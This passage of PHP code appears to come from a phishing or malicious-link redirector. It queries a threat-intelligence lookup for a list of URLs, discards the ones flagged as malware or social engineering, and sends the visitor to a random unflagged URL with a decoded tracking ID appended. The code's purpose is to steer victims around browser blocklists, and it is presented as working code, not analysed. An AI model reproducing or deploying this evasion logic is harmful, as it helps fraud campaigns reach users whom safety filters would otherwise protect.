[ 'clientId' => '', 'clientVersion' => '1.0', ], 'threatInfo' => [ 'threatTypes' => [ "MALWARE", "SOCIAL_ENGINEERING", "UNWANTED_SOFTWARE", "POTENTIALLY_HARMFUL_APPLICATION", ], 'platformTypes' => ["ANY_PLATFORM"], 'threatEntryTypes' => ["URL"], 'threatEntries' => array_map(function ($url) { return ['url' => $url]; }, $urls), ], ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $lookup_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); $response = curl_exec($ch); curl_close($ch); $result = json_decode($response, true); $flagged_urls = []; if (isset($result['matches'])) { foreach ($result['matches'] as $match) { $flagged_urls[] = $match['threat']['url']; } } return $flagged_urls; } function getRandomUrl($urls, $flagged_urls) { $filtered_urls = array_diff($urls, $flagged_urls); return $filtered_urls[array_rand($filtered_urls)]; } $userid = isset($_GET['userid']) ? $_GET['userid'] : ''; $userid = decode($userid); $flagged_urls = checkFlaggedUrls($urls); $url = getRandomUrl($urls, $flagged_urls); header("Location: " . $url . "?hevj&qrc=" . $userid); exit(); ?>